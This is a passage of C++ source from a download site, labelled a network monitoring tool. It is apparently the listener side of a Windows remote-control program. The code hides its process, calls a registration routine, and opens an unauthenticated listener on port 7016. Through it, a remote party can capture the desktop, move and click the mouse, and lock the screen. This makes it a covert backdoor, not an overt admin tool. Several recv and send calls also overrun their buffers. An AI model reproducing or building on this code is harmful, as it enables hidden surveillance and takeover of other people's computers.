⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 sockclient.cpp

📁 網絡監控工具服務器端
💻 CPP
📖 第 1 页 / 共 2 页
字号:

///////////////////////////////////////////////////////////////////
// Project  : WindowSock Client 
// Producer : WangQi
// Date     : 2001/04
///////////////////////////////////////////////////////////////////

#include "stdafx.h"

//Defien Const
#define MAJOR_VERSION 1
#define MINOR_VERSION 2
#define WM_SOCK       280
#define US_MAXSIZE    1024

#define US_FLAG       9999
#define US_MOUSEMOVE  2000
#define US_MOUSELD    3100
#define US_MOUSELU    3200
#define US_MOUSERD    4100
#define US_MOUSERU    4200

#define US_DESKTOPBIT 5000

#define US_LOCK       6100
#define US_UNLOCK     6200	

//Define Variable
struct sockaddr_in dstclient_addr;
SOCKET ClientSock;
SOCKET NewSock;
int    SysHeight;
int    SysWidth;
BOOL   LockFlag = FALSE;

//Define Function
BOOL InISock();
BOOL ConnectSock();
BOOL GetData();
BOOL AcceptData();
BOOL Register();
HBITMAP GetSrcBit(DWORD BitWidth,DWORD BitHeight);
HANDLE DDBtoDIB(HBITMAP hBitmap);
POINT GetMousePoint();
void SendDesktop();
void Msg(LPCTSTR sMsg);
void MouseMove(POINT point);
void MouseLD(POINT point);
void MouseRD(POINT point);
void MouseLU(POINT point);
void MouseRU(POINT point);
void SysEvent(int Msg);
void Lock(BOOL bFALG);
void HideProcess();

///////////////////////////////////////////////////////////////////
// Name      : WinMain()
// Parameter : HINSTANCE hInstance,HINSTANCE hPrevInstance,
//             LPSTR lpCmdLine,int nCmdShow
// Return    : INT
///////////////////////////////////////////////////////////////////

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
	MSG msg;
	
	//Register
	Register();

	//Hide in Process
	HideProcess();

	//Initialization Winsock
	if (!InISock())
		return 0;
	
	//Connect Winsock
	if (!ConnectSock())
		return 0;
	
	//GetData
	while(true)
	{
		//AcceptData
		if (!AcceptData())
		{
			WSACleanup();
			exit(1);
		}

		//GetMesage
		if(!GetData())
		{
			//Initialization Winsock
			if (!InISock())
				return 0;
			
			//Connect Winsock
			if (!ConnectSock())
				return 0;
		}
		//Release Data
		closesocket(NewSock);	
	}
	
	return msg.wParam;
}


///////////////////////////////////////////////////////////////////
// Name      : InIScok()
// Parameter : NULL
// Return    : TURE OR FALSE
///////////////////////////////////////////////////////////////////

BOOL InISock()
{
	//Variable Define
	int Status;
	WORD wMajorVersion,wMinorVersion;
	WORD wVersionReqd;
	WSADATA lpmyWSAData;
	
	//InI Winsock
	wMajorVersion = MAJOR_VERSION;
	wMinorVersion = MINOR_VERSION;
	wVersionReqd = MAKEWORD(wMajorVersion,wMinorVersion);

	//Startup WinSock
	Status = WSAStartup(wVersionReqd,&lpmyWSAData);	
	if (Status != 0)
		return FALSE;
	
	return TRUE;
}


///////////////////////////////////////////////////////////////////
// Name      : ConnectSock()
// Parameter : NULL
// Return    : TURE OR FALSE
///////////////////////////////////////////////////////////////////

BOOL ConnectSock()
{
	int Status;

	//Socket
	ClientSock = socket(AF_INET,SOCK_STREAM,0);
	if (ClientSock==INVALID_SOCKET)
		return FALSE;

	dstclient_addr.sin_family = PF_INET;
	dstclient_addr.sin_port = htons(7016);
	dstclient_addr.sin_addr.s_addr = INADDR_ANY;
	
	//BIND
	Status = bind(ClientSock,(struct sockaddr far *)&dstclient_addr,sizeof(dstclient_addr));
	if (Status != 0)
		return FALSE;
	
	//LISTEN
	Status = listen(ClientSock,1);
	if (Status != 0)
		return FALSE;


    return TRUE;
}


///////////////////////////////////////////////////////////////////
// Name      : Accept()
// Parameter : NULL
// Return    : BOOL
///////////////////////////////////////////////////////////////////

BOOL AcceptData()
{
	//ACCEPT
	int len = sizeof(dstclient_addr);
	NewSock = accept(ClientSock,(struct sockaddr far *)&dstclient_addr,&len);
	if (NewSock < 0)
	{
		closesocket(ClientSock);
		return FALSE;
	}

	//GetSCREEN
	SysWidth  = GetSystemMetrics(SM_CXSCREEN);
	SysHeight = GetSystemMetrics(SM_CYSCREEN);

	return TRUE;
}


///////////////////////////////////////////////////////////////////
// Name      : GetData()
// Parameter : NULL
// Return    : BOOL
///////////////////////////////////////////////////////////////////

BOOL GetData()
{
	//Define Variable
	int iMsg,length;
	POINT point;
	int FALG;
	
	//Send Falg
	FALG = US_FLAG;
	send(NewSock,(char*)&FALG,sizeof(FALG)+1,MSG_OOB);

	//Get Message
	length = recv(NewSock,(char*)&iMsg,sizeof(iMsg)+1,0);
	if (length < 0)
	{
		//Close Sock
		closesocket(NewSock);
		closesocket(ClientSock);
		
		return FALSE;
	}
	
	//GetMessageData
	if (iMsg < 4500)				//MouseEvent
	{
		send(NewSock,(char*)&SysWidth,sizeof(SysWidth)+1,MSG_OOB);
		send(NewSock,(char*)&SysHeight,sizeof(SysHeight)+1,MSG_OOB);
		point = GetMousePoint();
	}


	switch(iMsg)
	{
		case US_DESKTOPBIT:         //SendDesktopBitmap
			SendDesktop();
			break;
		case US_MOUSEMOVE:			//MouseMove
			MouseMove(point);
			break;
		case US_MOUSELD:			//MouseLeftDown
			MouseLD(point);
			break;
		case US_MOUSELU:			//MouseLeftUp
			MouseLU(point);
		    break;
		case US_MOUSERD:			//MouseRightDown
			MouseRD(point);
			break;
		case US_MOUSERU:			//MouseRightUp
			MouseRU(point);
		    break;
		case US_LOCK:
			SysEvent(US_LOCK);
			break;
		case US_UNLOCK:
			SysEvent(US_UNLOCK);
			break;
	}
	return TRUE;
}


///////////////////////////////////////////////////////////////////
// Name      : GetMousePoint
// Parameter : NULL
// Return    : POINT
///////////////////////////////////////////////////////////////////
POINT GetMousePoint()
{
	//variable define
	int x,y;
	int lenx,leny;
	POINT point;
	
	lenx = recv(NewSock,(char*)&x,sizeof(x)+1,0);
	leny = recv(NewSock,(char*)&y,sizeof(y)+1,0);
	point.x = x;
	point.y = y;

	return point;
}


///////////////////////////////////////////////////////////////////
// Name      : MouseMove()
// Parameter : NULL
// Return    : POINT point
///////////////////////////////////////////////////////////////////

void MouseMove(POINT point)
{
	SetCursorPos(point.x,point.y);
}


///////////////////////////////////////////////////////////////////
// Name      : MouseLD()
// Parameter : NULL
// Return    : POINT point
///////////////////////////////////////////////////////////////////

void MouseLD(POINT point)
{
	mouse_event(MOUSEEVENTF_LEFTDOWN,point.x,point.y,0,0);
}


///////////////////////////////////////////////////////////////////
// Name      : MouseLU()
// Parameter : NULL
// Return    : POINT point
///////////////////////////////////////////////////////////////////

void MouseLU(POINT point)
{
	mouse_event(MOUSEEVENTF_LEFTUP,point.x,point.y,0,0);
}


///////////////////////////////////////////////////////////////////
// Name      : MouseRD()
// Parameter : NULL
// Return    : POINT point
///////////////////////////////////////////////////////////////////

void MouseRD(POINT point)
{
	mouse_event(MOUSEEVENTF_RIGHTDOWN,point.x,point.y,0,0);
}


///////////////////////////////////////////////////////////////////
// Name      : MouseRU()
// Parameter : NULL
// Return    : POINT point
///////////////////////////////////////////////////////////////////

void MouseRU(POINT point)

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -